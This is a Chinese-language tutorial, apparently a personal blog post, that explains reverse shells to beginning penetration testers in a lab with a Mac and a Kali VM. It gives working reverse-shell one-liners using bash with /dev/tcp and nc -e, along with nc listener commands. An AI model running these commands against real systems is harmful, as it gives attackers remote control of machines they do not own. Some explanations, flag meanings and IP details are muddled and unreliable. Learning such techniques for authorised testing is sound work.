为何给靶机发送这条执行命令就会自动连接到本地计算机,并且出发实时通讯机制(ps:有点类似oicq,前生就是用的这种模式开发的即时通讯)
作为渗透测试人员必备技能,反弹shell到底是什么原理,以及如何使用,本文是自己学习shell命令时的个人感悟和笔记,文章内容大量引入了较为官方的语言,给入门渗透学习的人员提供一个参考
1
更容易阅读的版本在这里,点击传送
常用的反弹shell命令: bash -i >& /dev/tcp/vps的ip/vps的端口 0>&1
Shell 脚本(shell script),是一种为 shell 编写的脚本程序。
有一个能编写代码的文本编辑器和一个能解释执行的脚本解释器就可以执行
Bourne Shell(/usr/bin/sh或/bin/sh)
Bourne Again Shell(/bin/bash)
C Shell(/usr/bin/csh)
K Shell(/usr/bin/ksh)
Shell for Root(/sbin/sh)..
bash
zsh
..
PowerShell
Cmd
..
bash对sh兼容,是各种Linux发行版标准配置的Shell
:::tip
可以理解为q1给q2打电话,q2接电话,完成信息接通
可以理解为q1给q2打电话,q2把q1的电话号码保存下来,然后重新呼叫了q1
可实现任意TCP/UDP端口的侦听
命令:
yum install nc -y
nc -lvp 4444
# -lvp (l监听v输出p端口)
靶机执行:
bash -i >& /dev/tcp/192.168.0.10/4444 0>&1
# bash -i 启动交互式命令bash
# -i 将输出重定向到文件
# /dev/tcp 靶机为Linux的设备/dev/tcp连接程序启动socket(Linux系统:所有程序都是目录文件)
# 192.168.0.10/4444 连接的ip和端口(即本地计算机)
# 0>&1 远程的输入和输出(消息呈现方式为远程)
命令 | 解释 |
---|---|
bash -i | 启动交互式命令bash |
-i | 将输出重定向到文件 |
/dev/tcp | 靶机为Linux的设备/dev/tcp连接程序启动socket(Linux系统:所有程序都是目录文件) |
192.168.0.10/4444 | 连接的ip和端口(即本地计算机) |
0>&1 | 远程的输入和输出(消息呈现方式为远程) |
:::warning
Mac监听端没有nc -lvp port此命令 只有nc -lv port
:::
查看Mac和Linux的ip命令:
sudo su
ifconfig
kali的ip:10.211.55.4
Mac的ip:10.37.129.2
正向连接- Mac连接kali
1.kali启动监听:(先启动监听,否则拒绝连接)
sudo su
nc -lv 7777
Mac执行:
sudo su
zsh -i > /dev/tcp/mac监听ip/mac监听端口
(ls,pwd,whoami,cd /tmp,)
此时Mac终端执行者已经变为kali的root用户
尝试发送信息(Mac->kali)
whoami
kali机:监听端口并且实时回显信息
尝试在kali上执行命令
pwd
可以看到Mac上并无信息
因为此时为单方通信,即Mac的信息呈现在kali
shell:Mac->(攻击)kali
Mac开启监听
nc -lv 7777
kali开启shell
nc 10.211.55.2(Mac:ip) 7777 -e /bin/zsh(zsh或者bash)
ps:模拟渗透测试时通过某个途径将shell命令发送到了kali机器并成功执行
此时在Mac(攻击机)上执行命令:
whoami
可以看到Mac机成功执行命令,并且反弹回相关信息
再看看kali机
并无任何显示
反弹shell:linux——>(攻击)kali kali开启监听
nc -lvnp 7777
Mac被攻击,执行了shell命令:
bash -i >& /dev/tcp/10.211.55.4(kali)/7777 0>&1
此时kali已经有回显信息了,并且连接成功为bash
在kali上执行命令,成功回显
Mac不能执行主动终结命令,权限属于kali机
以上就是我对反弹shell的理解和感受,欢迎留言 写作耗时约2h@(。・o・)@